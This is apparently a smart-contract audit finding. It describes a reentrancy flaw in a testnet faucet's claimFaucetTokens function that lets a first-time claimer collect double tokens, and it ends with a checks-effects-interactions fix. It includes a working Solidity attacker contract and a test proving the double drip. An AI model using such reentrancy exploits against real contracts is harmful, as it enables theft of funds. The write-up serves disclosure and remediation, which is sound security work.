Description
The claimFaucetTokens function intends to drip a set amount of faucet tokens to the caller once every 3 days, as well as dripping Sepolia to first time claimer.
However, when dripping Sepolia to first time claimers, the function allows itself to be reentered, which can allow a first time claimer to receive double the amount of faucet tokens as intended. This is because the function checks if the user has claimed in the last 3 days before sending the user Sepolia, but the function updates the lastClaimTime after sending the user Sepolia.
Since hasClaimedEth is updated before transferring the Sepolia, an attacker will only be able to reenter claimFaucetTokens once.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
@> if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood:
This can happen when a new address calls claimFaucetTokens for the first time. This will allow them to receive their Sepolia reward, making it possible to reenter the function. This is not possible when the contract runs out of Sepolia or the owner pauses the Sepolia drip.
Impact:
Every new address has the potential to claim double the faucet tokens. While users can make new EOAs to repeatedly claim faucet tokens, this will allow for the process to be expedited.
Proof of Concept
The following contract can be used to reenter claimFaucetTokens.
contract ReenterForDoubleDrip {
RaiseBoxFaucet raiseBoxFaucet;
constructor(address raiseBoxFaucetAddress) {
raiseBoxFaucet = RaiseBoxFaucet(payable(raiseBoxFaucetAddress));
}
receive() external payable {
raiseBoxFaucet.claimFaucetTokens();
}
function attack() public {
raiseBoxFaucet.claimFaucetTokens();
}
}
Add the following test to your test suite, which will use the contract above.
function testReenterClaimToReceiveDoubleDrip() public {
ReenterForDoubleDrip reenterContract = new ReenterForDoubleDrip(address(raiseBoxFaucet));
reenterContract.attack();
uint256 reenterContractTokenBalance = raiseBoxFaucet.balanceOf(address(reenterContract));
console.log("Reenter Contract Token Balance: ", reenterContractTokenBalance);
assert(reenterContractTokenBalance == raiseBoxFaucet.faucetDrip() * 2);
}
This test will show that the contract can reenter claimFaucetTokens and receieve double the expected amount of tokens.
Recommended Mitigation
You can use OpenZeppelin's ReentrancyGuard contract to mitigate this, but you can also reorder the function so the lastClaimTime is updated before the external call.
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}